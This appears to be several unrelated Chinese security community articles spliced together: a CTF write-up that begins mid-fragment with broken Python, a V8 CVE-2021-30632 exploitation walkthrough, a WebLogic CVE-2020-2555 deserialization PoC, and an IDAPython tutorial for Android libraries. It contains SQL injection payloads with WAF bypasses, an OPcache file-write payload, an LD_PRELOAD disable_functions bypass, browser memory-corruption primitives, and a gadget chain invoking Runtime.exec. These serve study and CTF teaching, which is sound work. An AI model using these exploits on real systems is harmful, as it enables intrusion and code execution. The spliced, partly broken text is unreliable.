[2, 18, 24, 26, 23, 22, 30, 18, 18, 6, 0, 20, 17, 12, 23, 1]]
# 整天想搞大新闻,吃枣药丸
c=[25434,
19549,
19765,
28025,
27015,
23139,
26935,
29052,
20005,
25636,
25317,
26852,
20113,
24424,
22495,
22055]
第二部分
ans=[0x0e,0x1d,0x06,0x19,ord('+'),0x1c,0x0b,0x10,0x16,0x04,ord('6'),0x15,0x0b,0x0,ord(':'),0x0b]
key='excited'
output=""
for i inxrange(len(ans)):
output+=chr(ord(key[i%7])^ans[i])
print output
**LoopAndLoop**
用ida调试发现check方法调用chec,会自动调用到check1,第一个参数被传递下去,第二个参数被减一后传递到check1。check1里调用chec函数同理地调用check2,check2里的chec调用check3,check3里的chec调用check1。如此递归下去,发现当第二个参数为1的时候,chec会直接返回参数一的值,也就是递归的边界。估计native的chec函数只起这样的作用,因此不需要逆向liblhm.so了。check1和check3都是加上一个数,check2根据第二个参数的奇偶决定是加上还是删除一个数。因此从最后的检查条件1835996258往前推99步就能推出正确的输入。
from ctypes import *
SA = sum(range(100))
SB = sum(range(1000))
SC = sum(range(10000))
S0 = 1835996258
for i in range(1, 99):
if i % 3 == 0:
S0 = c_int(S0-SC).value
if i % 3 == 2:
S0 = c_int(S0-SA).value
if i % 3 == 1:
if i % 2 == 0:
S0 = c_int(S0-SB).value
else:
S0 = c_int(S0+SB).value
print S0
print hex(S0)
for i in range(98, 0, -1):
if i % 3 == 0:
S0 = c_int(S0+SC).value
if i % 3 == 2:
S0 = c_int(S0+SA).value
if i % 3 == 1:
if i % 2 == 0:
S0 = c_int(S0+SB).value
else:
S0 = c_int(S0-SB).value
print hex(S0)
print S0
**Debug**
debug blocker反调试,程序的验证步骤:
1.验证flag的长度是否为32,格式为[a-z0-9]+
2.把每两个字符的16进制字符串转换为整数,这一步会导致多解
3.每4个字节倒置
4.每8个字节做128轮的TEA加密,key为’3322110077665544BBAA9988FFEEDDCC’
5.最后把加密后的16个字节与0x31异或后与一个给定的字节数组比较
**Uplycode**
好多的自解密。。。程序的验证步骤:
1.flag开头是否为alictf{,把末尾的}改为空字节
2.验证第8-9字节,直接爆破得到为Pr
3.验证10-13字节,直接爆破得到为0bl3,我好暴力。。。
4.用13字节异或14字节的值解密接下来的验证函数,根据之前的规律知道自解密出来的第一个字节为0x55,因此14字节为M
5.对第14字节到最后的字节(不包括{)计算MD5值与35faf651b1a72022e8ddfed1caf7c45f比较
6.验证第19字节到最后的字节(不包括{)是否为A1w4ys_H3re,因此爆破第15-18字节就可以得到flag
**xxFileSystem2**
在队友们的帮助下做出的,xxdisk.bin的开头20000个字节是一个使用表,0表示未使用,1表示已使用,文件系统中的文件的开头第1-4个字节为在使用表中的索引值,第5-8个字节为FFFFFFFF,之后每4个字节是文件分块的索引值,一共22块,之后四字节是文件块使用的标记,再之后4字节是文件大小,跳过4字节之后是文件名,删除文件时会把使用表对应索引的值设为0,通过这个规则可以遍历xxdisk.bin,找到了1000多个删除的文件,输出文件名发现一个奇怪的555文件,然后抽取出555文件的内容
file = open('xxdisk.bin', 'rb')
data = file.read()
out = open('extract', 'wb')
out.write(data[0x5024+(0x333<<9):0x5024+(0x333<<9)+512])
out.write(data[0x5024+(0x32c<<9):0x5024+(0x32c<<9)+512])
out.write(data[0x5024+(0x32d<<9):0x5024+(0x32d<<9)+512])
out.write(data[0x5024+(0x324<<9):0x5024+(0x324<<9)+512])
out.write(data[0x5024+(0x325<<9):0x5024+(0x325<<9)+512])
out.write(data[0x5024+(0x326<<9):0x5024+(0x326<<9)+512])
out.close()
抽取出来之后是一个压缩包,然而在ubuntu下怎么都解压不了,然后队友把它丢到windows中用winrar一下就解压出来了,在解压出来的文件中得到flag
**Web**
**Find password**
根据题目信息,大意就是让我们去找HHHH这个用户的密码,注册时候发现任意注册HHHH,登陆进去:
[http://114.55.1.176:4458/detail.php?user_name](http://114.55.1.176:4458/detail.php?user_name)这里发现存在注入,然后发现有waf,经过测验,发现select,or,and等等需要双写绕过,最后payload:
http://114.55.1.176:4458/detail.php?user_name=-2%27%0Aununionion%0Aselselectect%0Auser_pass,2,3,4%0Afrfromom%0Atest.users%0Aununionion%0Aselselectect%0A1,2,3,4%0Aoorr%0A%271
拿到flag:
**Homework**
开始又是注入= =
随手注册一个用户,进去以后,发现可以任意上传文件,不过不能getshell,没有太大用处。在文件描述那里发现存在注入:
很友好地没有多少过滤。然后走坑之旅开始。发现利用outfile这些可以写东西,但是也没有太大的用处,于是,fuzz了下,发现存在info.php和phpinfo.php,info大致提示我们flag在根目录下,不用去找了,再次贴心,接着看下phpinfo,居然是php7,想起了前阵子的漏洞:[http://drops.wooyun.org/web/15450](http://drops.wooyun.org/web/15450):利用
PHP7 的 OPcache 执行 PHP 代码。
当然这里必须要有一个上传漏洞才能去配合这个漏洞,一开始已经说了可以任意上传,当然包括php,我们知道缓存是优于其本体,而我们可以注入写文件,phpinfo也已经告诉了我们一些敏感路径,于是思路很明确了:
但是写的时候,我们会发现,如果用outfile写的话,mysql会把16进制的一些东西转换,导致面目全非,于是利用dumpfile可以很好的解决这一个问题,于是先探针下,最终payoad:
http://121.40.50.146/detail.php?id=-1%27%20union%20select%20unhex('4F504341434845003339623030356164373734323863343237383831343063363833396536323031C002000000000000000000000000000000000000000000000000000000000000EF0D070F190D0000A8010000000000000200000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF040000004002000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000A80100000000000001000000020000000000000000000000FFFFFFFF020000000002000000000000080000005858354F00000000000000000000000000000000000000000000000000000000000000000000000000000000010000000700000012000000FEFFFFFF0000000000000000000000000000000000080000FFFFFFFF000000000000000020610689AC7F0000010000000700000012000000FEFFFFFF0000000000000000000000000000000010000000FFFFFFFF0000000000000000B0590689AC7F000000000000000000000000000000000000000000000000000001000000000000000000000000000000C002000000000000000200000000000000000000000000000000000000000000000000000000000000000000660DC4980000000000000000040000000606000019C2A9A742FDC1F029000000000000002F7661722F7777772F68746D6C2F75706C6F61642F32303136303630353132353733372D312E706870000000000000000000000000000000000000000000000020020000000000000600000000000000010000000000000004000000FFFFFFFF0100000006060000F9E0F8ABB5D000800700000000000000706870696E666F00C0E10E89AC7F000060000000000000000000000000000000020000003D080108E0A10E89AC7F000000000000000000006000000000000000020000003C08080480EE0B89AC7F000060000000000000000000000000000000020000002804080880570F89AC7F0000100000000000000000000000FFFFFFFF020000003E010808')%20into%20dumpfile%20%27/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/upload/20160605125737-1.php.bin%27–+
访问下ok:
OK,题目第一关已经成功过坑,看下disable-functions:
限制好死。。。觉得无望了。。。但是传了一句话后,不知道为什么eval可以执行:
然后找bypass的资料,在drop发现这么一个科技:
http://drops.wooyun.org/tips/16054利用环境变量LD_PRELOAD来绕过php
disable_function执行系统命令。然后瞬间有些懵逼地样子,so是什么玩意,作为一只web狗只看过没接触过,好在文章写得比较容易明白,根据文章的思路,就是我们可以编译so,然后利用php去访问,从而绕过php的诸多限制,也就是说我们利用c的函数去列目录读文件之类的,payload如下:
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void payload()
{
DIR* dir;
struct dirent* ptr;
dir = opendir("/");
FILE *fp;
fp=fopen("/tmp/venenoveneno","w");
while ((ptr = readdir(dir)) != NULL) {
fprintf(fp,"%sn",ptr->d_name);
}
closedir(dir);
fflush(fp);
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
然后gcc编译成so,然后根据前面的点,我们明白了出题人的思路:
做到这里,还有题目最后一个坑,就是生成的东西没权限去读,那么怎么办,于是前面传的shell用了用处,我们可以利用copy命令,去覆盖一个我们之前上传的bin,于是直接列目录:
然后再利用loadfile读就可以了:
发现flag,然后再进行一次类似操作,利用fopen去读文件,最后成功得到flag: | 社区文章 |
**作者：Hcamael@知道创宇404实验室**
**相关阅读：[从 0 开始学 V8 漏洞利用之环境搭建（一）](https://paper.seebug.org/1820/ "从 0 开始学 V8
漏洞利用之环境搭建（一）")
[从 0 开始学 V8 漏洞利用之 V8 通用利用链（二）](https://paper.seebug.org/1821/ "从 0 开始学 V8
漏洞利用之 V8 通用利用链（二）")
[从 0 开始学 V8 漏洞利用之 starctf 2019 OOB（三）](https://paper.seebug.org/1822/ "从 0 开始学
V8 漏洞利用之 starctf 2019 OOB（三）")
[从 0 开始学 V8 漏洞利用之 CVE-2020-6507（四）](https://paper.seebug.org/1823/ "从 0 开始学 V8
漏洞利用之 CVE-2020-6507（四）")**
复现CVE-2021-30632
第三个研究的是`CVE-2021-30632`，其chrome的bug编号为：1247763
不过其相关信息还未公开，但是我们仍然能得知：
受影响的Chrome最高版本为：`93.0.4577.63` 受影响的V8最高版本为：`9.3.345.16`
不过网上能搜到一篇分析文章Chrome in-the-wild bug analysis:
CVE-2021-30632，不过文章中只有PoC，不包含EXP，PoC如下：
function foo(b) {
x = b;
}
function oobRead() {
return [x[20],x[24]];
}
function oobWrite(addr) {
x[24] = addr;
}
//All have same map, SMI elements, MapA
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
...
//Optimzie foo
for (let i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;
foo(arr1);
}
//x now has double elements, MapB
x[0] = 1.1;
//optimize oobRead
for (let i = 0; i < 20000; i++) {
oobRead();
}
//optimize oobWrite
for (let i = 0; i < 20000; i++) oobWrite(1.1);
//Restore map back to MapA, with SMI elements
foo(arr);
var z = oobRead();
oobWrite(0x41414141);
# 搭建环境
一键编译相关环境：
$ ./build.sh 9.3.345.16
# 套模版
## 研究PoC
稍微修改一下PoC，然后运行：
$ cat poc.js
......
function oobRead() {
return x[16];
}
......
var z = oobRead();
console.log(hex(ftoi(z)));
%DebugPrint(x);
%SystemBreak();
$ ./d8 poc.js
80023b500000002
DebugPrint: 0x34070804a1a1: [JSArray]
- map: 0x340708207939 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3407081cc139 <JSArray[0]>
- elements: 0x34070804a1b1 <FixedArray[30]> [HOLEY_SMI_ELEMENTS]
- length: 30
- properties: 0x34070804a231 <PropertyArray[3]>
- All own properties (excluding elements): {
0x340708004905: [String] in ReadOnlySpace: #length: 0x34070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
0x340708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: properties[0]
}
- elements: 0x34070804a1b1 <FixedArray[30]> {
0-29: 5
}
......
然后挂上GDB进行调试，发现变量`z`的值(`0x80023b500000002`)位于`elements + 8 + 16 *
8`，从这可以看出该PoC达到了越界读的效果，同理，`oobWrite`函数能达到越界写的目的。
那么我们可以按以下顺序定义变量：
var arr = new Array(30); arr.fill(4); arr.a = 1;
var trigger_array = [1.1];
var padding = [1.1];
var vul_obj = {"a" : 1};
那么通过`arr`的越界读，我们可以获取到下面三个变量的相关信息。具体的偏移可以通过gdb调试获取，比如`trigger_array`变量的偏移为`20`。我可以通过`oobWrite`函数去修改`trigger_array`变量的size位，转换为`trigger_array`变量的越界利用。
根据上述的数据去修改`oobWrite`函数和`oobRead`函数：
function oobRead() {
return x[21];
}
function oobWrite(addr) {
x[21] = addr;
}
然后就是修改`trigger_array`的`size`，把`trigger_array`数组的大小改为0x20:
var z = oobRead();
console.log("[*] leak data: 0x"+hex(ftoi(z)));
if (d2u(z)[1] == 2)
oobWrite(u2d(d2u(z)[0], 0x20));
else
oobWrite(u2d(0x20, d2u(z)[1]));
## 编写addressOf函数
现在我们能来编写addressOf函数了：
function addressOf(obj_to_leak)
{
vul_obj[0] = obj_to_leak;
trigger_array[7] = array_map;
let obj_addr = ftoi(vul_obj[0])-1n;
trigger_array[7] = obj_map;
return obj_addr;
}
## 编写fakeObj函数
接下来就是编写`fakeObj`函数：
function fakeObject(addr_to_fake)
{
padding[0] = itof(addr_to_fake + 1n);
trigger_array[5] = obj_map;
let faked_obj = padding[0];
trigger_array[5] = array_map;
return faked_obj;
}
## 其他
剩下的工作就是按照惯例，套模板，修改偏移了，这PoC目前我也没觉得哪里有需要优化的地方。
# 漏洞简述
在文章开头，就给了一篇分析文章，原理在这篇文章也讲的很清楚了，我这里就不展开再写了。我就简单概括一下说说我的理解。
首先是对`foo`函数进行JIT优化：
//Optimzie foo
for (let i = 0; i < 40000; i++) {
if (i == 100) arr2[0] = 1.1;
foo(arr1);
}
`arr1`在`unstable`的情况下，经过JIT优化，所以JIT会假设`foo`函数的输入为`SMI`数组类型的变量，然后执行`x[0] =
1.1;`，把x变为浮点型数组类型的变量，但是因为变量x（这个时候x等于arr1）是`unstable`，因为代码的bug，所以这个时候不会取消JIT优化。
然后执行：
for (let i = 0; i < 40000; i++) oobRead();
`oobRead`函数也经过JIT优化，这个时候JIT认为变量x是浮点型数组类型。
然后执行`foo(arr);`，因为之前JIT已经假设了`foo`函数的输入变量为`SMI`数组，而`arr`就是`SMI`数组变量，所以JIT把x变量设置成了arr，却没有取消`oobRead`函数对于x变量的假设。
也就是说，在`foo`函数中，认为x是SMI数组，而`oobRead`函数中认为x是浮点型数组，这就产生了类型混淆。
所以在`oobRead`函数中`x[21]`的取值方式是在地址为`x + 8 *
21`取8字节的浮点型数值。但是x现在已经等于变量`arr`了，是一个长度为30的SMI数组，size为: `4 * 30`，所以这就导致了溢出。
不过在分析该漏洞的时候仍然还有一些问题没有解决，函数循环多少次会被JIT优化？在什么情况下把`arr1`转化为`unstable`，JIT才能正常优化？上面循环`40000`次，在`i==100`的时候让`arr1`变为`unstable`都是我试出来的，但是为啥是这个次数呢？我还没研究明白。等后续研究明白了可以专门写一篇文章。
# 参考
1. <https://bugs.chromium.org/p/chromium/issues/detail?id=1247763>
2. <https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/>
* * * | 社区文章 |
# 教你一步一步构造CVE-2020-2555 POC
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、前言
欸欸欸，不想写论文，起床发现<https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server>爆出CVE-2020-2555新的gadget细节了，打发打发时间试着写写POC。本文POC构造将会比较详细，挖JDK
gadget大佬自动略过吧，还有本文只是POC，不包含exp，那些想要exp的大佬们也直接略过吧，但是你好好读文章构造出exp也不是什么难事，最后会给出exp的思路。
### 2、gadget分析思路
漏洞的gadget如下，需要导入coherence.jar，weblogic12.3.6 lib包下有：
先抛开上面的gadget总结一下挖掘java反序列化的思路如下：
**挖掘java反序列化的思路**
1、首先要找到反序列化入口（source）
2、调用链（gadget）
3、触发漏洞的目标方法（sink）
反序列化漏洞的挖掘，本质上就是一个已知source和sink，如何走通整个调用流程的问题。在这里的source，可以包括
1. Java原生的反序列化，即通过ObjectInputStream.readObject()，处理二进制格式内容，得到Java对象
专有格式的反序列化，例如通过Fastjson, Xstream等第三方库，处理json, xml等格式内容，得到Java对象
**执行目标sink,包括：**
1. Runtime.exec()，这种最为简单直接，即直接在目标环境中执行命令
2. Method.invoke()，这种需要适当地选择方法和参数，通过反射执行Java方法
3. RMI/JNDI/JRMP等，通过引用远程对象，间接实现任意代码执行的效果
**从source出发，递归检查其所有方法调用，如果能够执行到sink就是一条gadget。**
拿这条gadget举例，source入口点是BadAttributeValueExpException的readObject函数。读个ysoserial工具源码的都知道CommonsCollections5这条gadget就是通过BadAttributeValueExpException触发的。sink点则是Method.invoke()通过反射方法执行
## 3、POC构造过程
**构造poc首先从sink点触发，ReflectionExtractor类的extract函数**
所以构造如下代码是可以弹计算器的：
public static void main(String[] args) {
Runtime runtime=Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
reflectionExtractor.extract(runtime);
}
反射方式触发：
再往上回溯，谁触发extract函数，这就找到LimitFilter类的toString()方法：
在写段代码：
public static void main(String[] args) {
Runtime runtime=Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
reflectionExtractor.extract(runtime);
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(reflectionExtractor);
limitFilter.setTopAnchor(runtime);
limitFilter.toString();
}
将runtime对象赋值给m_oAnchorTop
limitFilter.setTopAnchor(runtime);
将reflectionExtractor赋值给m_comparator
limitFilter.setComparator(reflectionExtractor);
看图的标注，执行2就相当于执行`reflectionExtractor.extract(runtime)`,就跟POC1构造的一样了。
效果就是这样：
在向上回溯，谁触发LimitFilter类的toString()。这也就来到的source入口点，通过BadAttributeValueExpException的readObject函数。读个ysoserial工具源码的都知道CommonsCollections5这就是通过BadAttributeValueExpException触发的。所以要想看明白这里需要先看懂CommonsCollections5，可以看我博客写的：<https://www.cnblogs.com/afanti/p/10199235.html>，之前读CommonsCollections5，做的笔记如下：
>
> 重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类，就会调用BadAttributeValueExpException的val
> = valObj.toString();
这就好办了，把val赋值为limitFilter就会调用limitFilter的toString方法，自此打通了整条gadgets。
在写一段POC:
Runtime runtime=Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(reflectionExtractor);
limitFilter.setTopAnchor(runtime);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, limitFilter);
File f = new File("poc.txt");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(poc);
out.close();
然鹅，在执行时会报如下错误，Runtime这个类没实现序列化接口，小问题：
首先先自定义一个危险类，如下：
import java.io.IOException;
import java.io.Serializable;
public class Afanti implements Serializable {
public void exec(String shell) throws IOException {
Runtime.getRuntime().exec(shell);
}
}
完整POC如下：
Afanti afanti = new Afanti();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(reflectionExtractor);
limitFilter.setTopAnchor(afanti);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, limitFilter);
File f = new File("poc.txt");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(poc);
out.close();
调用栈如下，跟文章给的图片一样。
## 4 、思路总结
本文只是教大家怎么写POC，exp就不给出来了提一提思路。既然能够执行实现序列化接口类的任意方法，参数可控，exp构造就不难了。比如：可以找一个类，类的函数有执行代码操作或者文件操作或者反序列化操作又或者jndi注入之类的。这样的类一抓一大把，会构造CVE-2019-2725的，自然知道exp怎么写。写完exp，通过t3协议发包，RCE一发入魂。最后提醒大家一点要想构造jndi的exp，jdk版本得选对，要不会遇到很多坑。（想要找危险类的可以试试我写的这篇文章的工具，改改正则：<https://www.anquanke.com/post/id/199703>）
## 参考链接：
<https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server>
<https://www.oracle.com/security-alerts/cpujan2020.html>
<https://www.cnblogs.com/afanti/p/10199235.html> | 社区文章 |
# 【技术分享】Android SO自动化逆向探究
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：非虫
预估稿费：600RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
长期从事Android SO动态库分析时，时常会做一些重复性较高的工作。例如，SO库中的 **Java_com_xxx_yyy()**
等一系统与Java层桥接的方法，逆向它们时，通常需要做如下工作：
IDA Pro载入SO，完成第一次的反编译。
导入jni.h头文件，引入 **JNINativeInterface** 与 **JNIInvokeInterface** 结构体信息。
设置 **Java_com_xxx_yyy()** 类型方法的前两个参数为 **JNIEnv* env** 与 **jobject thiz** 。
如果有F5插件，则进行一次Force call type。
……。
**将这些工作自动化，可以大大的提高逆向分析的工作效率。** 基于IDA
Pro提供的脚本与插件系统，可以很方便的完成以上前3项工作。下面，我们一步步来打造一个SO自动化逆向分析的工具。
**目标细化**
****
在开始完成一个工具前，需要将这些需要解决的问题进行一次量化分析。
首先，如何定位需要处理的SO库方法？由于 **Java_com_xxx_yyy()**
类型方法与Java层进行桥接，在java层代码中必定会有它的声明。所有的这些方法在Java代码中会有一个 **native**
属性，只需要遍历Java层的代码，获取所有的native方法即可。
其次，不同的方法有不同的参数类型，签名的不同，该如何处理？为了让工具实现起来过于复杂，我们只处理Java中内置的数据类型，自定义的数据类型统一使用
**jobject** 进行处理与表示。
最后，就是将获取到的Java层的所有native方法信息与IDA Pro中的相应的方法进行一一的对应，并进行方法的自动化类型处理，这就需要用到IDA
Pro的脚本功能。
**功能实现**
****
明确了以上的3个步骤后，下面来动手一一的完成它。
**解析native方法**
为了快速的解析native方法，我最先想到的是使用grep命令（系统为macOS）。首先，使用JD-GUI反编译APK，导出所有的Java源文件，然后在命令行下执行：
$ grep ' native ' -r ./java_dir -h public native String stringFromJNI();
或者执行如下命令：
$ grep -Eo '^( |public|private|protected).* native .*;' -r ./java_dir -h public native String stringFromJNI();
不错，都能够正确获取到native方法，虽然输出的前面会有一个JD-GUI反编译带的空格。
为了让Windows的用户，即使在不安装Mingw或其他的Linux模拟环境的情况下，也能够正确的获取到方法，我还是决定使用Python来写一个生成方法签名信息的脚本。就即名叫
**make_sig.py** 好了。
Python的便捷，让我可以很方便地在命令行下测试re模块的正则表达式，如下：
$ python
Python 2.7.10 (default, Feb 7 2017, 00:08:15)
[GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.34)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import re
>>> l = " public static native long nativeLoadMaster(String paramString, byte[] paramArrayOfByte1, String[] paramArrayOfString, byte[] paramArrayOfByte2);"
>>> rr = re.match('^( |public|private|protected).* native (.*) (.*)[(](.*)[)];', l)
>>> print "{}".format(rr.group(0))
public static native long nativeLoadMaster(String paramString, byte[] paramArrayOfByte1, String[] paramArrayOfString, byte[] paramArrayOfByte2);
>>> print "{}".format(rr.group(1))
>>> print "{}".format(rr.group(2))
long
>>> print "{}".format(rr.group(3))
nativeLoadMaster
>>> print "{}".format(rr.group(4))
String paramString, byte[] paramArrayOfByte1, String[] paramArrayOfString, byte[] paramArrayOfByte2
OK，正则表达式弄对了！可以正确的解析一条native方法的所有信息：返回值、方法名、签名。我这里不打算展开如何编写正则表达式，因为我觉得很多人应该会了，如果你对于正则表达式不太熟，建议你到这个链接快速的学习一下：<https://github.com/zeeshanu/learn-regex> 。
下面的代码片断是解析一个目录下所有的文件，找到native方法并保存到指定的文件中：
def make_sig_file(java_src_dir, sig_file):
f = file(sig_file, 'w+')
for parent, dirnames, filenames in os.walk(java_src_dir):
for filename in filenames:
#print "file: " + os.path.join(parent, filename)
filepath = os.path.join(parent, filename)
with open(filepath) as o:
content = o.read()
for m in re.finditer('( |public|private|protected).* native (.*) (.*)[(](.*)[)];', content):
rr = re.match('package (.*?);.*?class ([^s]+)', content, re.S)
pkg_name = rr.group(1)
class_name = rr.group(2)
func_name = m.group(3)
print 'func_name:', func_name
print 'pkg_name:', pkg_name
print 'class_name:', class_name
full_func_name = 'Java_' + pkg_name + '_' + class_name + '_' + func_name
full_func_name = full_func_name.replace('.', '_')
#print 'full_func_name:', full_func_name
full_method_sig = m.group(0)
full_method_sig = full_method_sig.replace(func_name, full_func_name).strip()
#print full_method_sig
f.write(full_method_sig + 'n')
f.close()
这段代码不需要太多的解释，os.walk会遍历一个目录中所有文件信息，对于目录中的第一个文件，使用open打开后，调用re.finditer来匹配native方法，打到就把它写入到sig_file指定的文件名中。
更多的代码参看makesig.py的文件内容，对于很多人，你只需要知道执行
make_sig.py xxx_out method_sig.txt
就可以生成methodsig.txt方法签名文件了。xxx_out为JD-GUI导出的APK的Java源码目录。
**Java数据类型处理**
好了，到现在已经取到了所有的native方法信息，现在需要对这些方法的签名进行处理。
所有的native方法支持的数据类型在jni.h头文件中都有定义，该文件可以在Android
NDK任意系统版本的include目录下找到。在文件的开头就有这么一段：
typedef uint8_t jboolean; /* unsigned 8 bits */
typedef int8_t jbyte; /* signed 8 bits */
typedef uint16_t jchar; /* unsigned 16 bits */
typedef int16_t jshort; /* signed 16 bits */
typedef int32_t jint; /* signed 32 bits */
typedef int64_t jlong; /* signed 64 bits */
typedef float jfloat; /* 32-bit IEEE 754 */
typedef double jdouble; /* 64-bit IEEE 754 */
既然最后的处理代码使用Python来写，咱也不含糊，先弄一个jni_types如下：
jni_types = {
'boolean' : 'jboolean',
'byte' : 'jbyte',
'char' : 'jchar',
'short' : 'jshort',
'int' : 'jint',
'long' : 'jlong',
'float' : 'jfloat',
'double' : 'jdouble',
'string' : 'jstring',
'object' : 'jobject',
'void' : 'void'
}
然后，写一个Java层方法类型转换成JNI类型的方法，代码如下：
def get_jnitype(java_type):
postfix = ''
jtype = java_type.lower()
if jtype.endswith('[]'):
postfix = 'Array'
jtype = jtype[:-2]
tp = ''
if jtype not in jni_types:
tp = 'jobject'
else:
tp = jni_types[jtype] + postfix
return tp
小小的测试一下：
def test_jnitype():
print get_jnitype('int')
print get_jnitype('Int')
print get_jnitype('long')
print get_jnitype('Long')
print get_jnitype('void')
print get_jnitype('String')
print get_jnitype('String[]')
print get_jnitype('boolean')
print get_jnitype('ArrayList<String>')
print get_jnitype('Object[]')
print get_jnitype('byte[]')
print get_jnitype('FileEntry')
输出如下：
jint
jint
jlong
jlong
void
jstring
jstringArray
jboolean
jobject
jobjectArray
jbyteArray
jobject
稳！单个方法的签名解析没问题了，那将整个方法的类型转化为JNI接受的类型也没多大问题，代码如下：
def get_args_type(java_args):
if len(java_args) == 0:
return 'JNIEnv* env, jobject thiz'
jargs = java_args.lower()
args = jargs.split(', ')
#print 'arg count:', len(args)
full_arg = 'JNIEnv* env, jobject thiz, '
i = 1
for java_arg in args:
java_type = java_arg.split(' ')[0]
full_arg += get_jnitype(java_type)
full_arg += ' arg'
full_arg += str(i)
full_arg += ', '
i += 1
return full_arg[:-2]
最后是编写get_jni_sig方法，实现一个Java的native方法签名转成IDA Pro能接受的签名信息。具体看代码，这里就不占篇幅了。
**自动化设置方法信息**
前两步没问题，到这里问题就不大了。下面是写IDAPython代码，来完成一个jni_helper.py脚本工具。
首先是IDA Pro分析SO时候，并不会自动的导入 **JNINativeInterface** 与 **JNIInvokeInterface**
结构体信息。这就需要自己来完成了。
**JNINativeInterface** 的方法字段忒多，我不打算自己手写，容易出错还效率低下。我使用IDA Pro的导出功能，点击菜单 **File->Produce File->DUMP typeinfo to IDC file…**，然后一个idc文件，然后复制IDC中的内容，简单修改就完成了
**add_jni_struct()** 方法，代码如下：
def add_jni_struct():
if BADADDR == GetStrucIdByName("JNINativeInterface"):
AddStrucEx(-1, "JNINativeInterface", 0)
id = GetStrucIdByName("JNINativeInterface")
AddStrucMember(id, "reserved0", 0, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
AddStrucMember(id, "reserved1", 0X4, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
......
AddStrucMember(id, "GetDirectBufferAddress", 0X398, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
AddStrucMember(id, "GetDirectBufferCapacity", 0X39C, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
#SetStrucAlign(id, 2)
idc.Eval('SetStrucAlign({}, 2);'.format(id))
if BADADDR == GetStrucIdByName("JNIInvokeInterface"):
AddStrucEx(-1, "JNIInvokeInterface", 0)
id = GetStrucIdByName("JNIInvokeInterface")
AddStrucMember(id, "reserved0", 0, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
AddStrucMember(id, "reserved1", 0X4, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
AddStrucMember(id, "reserved2", 0X8, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
AddStrucMember(id, "DestroyJavaVM", 0XC, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
AddStrucMember(id, "AttachCurrentThread", 0X10, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
AddStrucMember(id, "DetachCurrentThread", 0X14, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
AddStrucMember(id, "GetEnv", 0X18, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
AddStrucMember(id, "AttachCurrentThreadAsDaemon", 0X1C, 0x25500400, 0XFFFFFFFF, 4, 0XFFFFFFFF, 0, 0x000002)
#SetStrucAlign(id, 2)
idc.Eval('SetStrucAlign({}, 2);'.format(id))
# idaapi.run_statements('auto id; id = GetStrucIdByName("JNIInvokeInterface"); SetStrucAlign(id, 2);')
比较有趣的是，在IDC中有这么一句：
SetStrucAlign(id, 2)
这个 **SetStrucAlign()** 方法在IDAPython中并没有，要想调用它，可以使用如下方法：
idc.Eval('SetStrucAlign({}, 2);'.format(id))
导入完成后，下一步的工作是获取SO中所有的 **Java_com_xxx_yyy()** 类型的方法信息，这个好办，代码如下：
addr = get_code_seg()
symbols = []
for funcea in Functions(SegStart(addr)):
functionName = GetFunctionName(funcea)
symbols.append((functionName, funcea))
